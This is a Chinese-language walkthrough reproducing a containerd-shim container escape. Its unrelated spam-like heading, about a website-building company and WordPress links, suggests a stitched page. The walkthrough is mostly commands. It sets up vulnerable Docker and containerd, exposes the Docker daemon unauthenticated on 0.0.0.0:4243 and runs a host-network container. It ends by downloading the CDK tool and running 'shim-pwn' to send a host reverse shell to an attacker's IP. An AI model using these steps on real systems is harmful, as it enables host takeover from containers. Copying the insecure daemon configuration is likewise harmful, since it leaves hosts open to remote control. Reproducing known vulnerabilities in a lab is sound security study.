庐江建网站公司wordpress不能外部链接
一、产生原因
在版本1.3.9之前和1.4.0~1.4.2的Containerd中,由于在网络模式为host的情况下,容器与宿主机共享一套Network namespace ,此时containerd-shim API暴露给了用户,而且访问控制仅仅验证了连接进程的有效UID为0,但没有限制对抽象Unix域套接字的访问,刚好在默认情况下,容器内部的进程是以root用户启动的。在两者的共同作用下,容器内部的进程就可以像主机中的containerd一样,连接containerd-shim监听的抽象Unix域套接字,调用containerd-shim提供的各种API,从而实现容器逃逸。
docker是使用namespace命名空间来实现隔离的,当容器使用host模式时,容器与宿主机共享一套Network namespace,此时containerd-shim API暴露给了用户,而containerd-shim通过OCI协议与RUNC通信,执行命令

二、利用条件
1、Containerd版本在1.3.9之前
2、容器使用root用户和host网络模式运行
三、复现过程
1.下载18.09版本的docker环境
wget https://download.docker.com/linux/static/stable/x86_64/docker-18.09.0.tgz
tar xvpf docker-18.09.0.tgz
sudo cp -p docker/* /usr/bin 
2.配置docker.service文件
cat >/lib/systemd/system/docker.service <<EOF
[Unit] 
Description=Docker Application Container Engine 
Documentation=http://docs.docker.com 
After=network.target docker.socket 
[Service] 
Type=notify 
EnvironmentFile=-/run/flannel/docker 
WorkingDirectory=/usr/local/bin 
ExecStart=/usr/bin/dockerd -H tcp://0.0.0.0:4243 -H unix:///var/run/docker.sock --selinux-enabled=false --log-opt max-size=1g
ExecReload=/bin/kill -s HUP $MAINPID 
# Having non-zero Limit*s causes performance problems due to accounting overhead 
# in the kernel. We recommend using cgroups to do container-local accounting. 
LimitNOFILE=infinity 
LimitNPROC=infinity 
LimitCORE=infinity 
# Uncomment TasksMax if your systemd version supports it. 
# Only systemd 226 and above support this version. 
#TasksMax=infinity 
TimeoutStartSec=0 
# set delegate yes so that systemd does not reset the cgroups of docker containers 
Delegate=yes 
# kill only the docker process, not all processes in the cgroup 
KillMode=process 
Restart=on-failure 
[Install] 
WantedBy=multi-user.target 
EOF 
启动docker
systemctl daemon-reload
systemctl restart docker 
3.下载对应版本的containerd并安装
wget https://mirrors.aliyun.com/docker-ce/linux/ubuntu/dists/focal/pool/edge/amd64/containerd.io_1.3.7-1_amd64.deb?spm=a2c6h.25603864.0.0.18e876ccra9oTg
dpkg -i containerd.io_1.3.7-1_amd64.deb 
下载好后查看版本

4.下载容器并以host模式启动容器
下载容器
docker pull ubuntu:18.04
以host模式启动容器
docker run -it --net=host ubuntu:18.04 /bin/bash
5.反弹宿主机shell
进容器下载利用工具或者本机上下好传进去,攻击机提前nc监听
wget https://github.com/Xyntax/CDK/releases/download/0.1.6/cdk_v0.1.6_release.tar.gz
tar -zxvf cdk_v0.1.6_release.tar.gz
./cdk_linux_amd64 run shim-pwn [攻击机ip] [监听端口] 
成功拿到宿主机shell

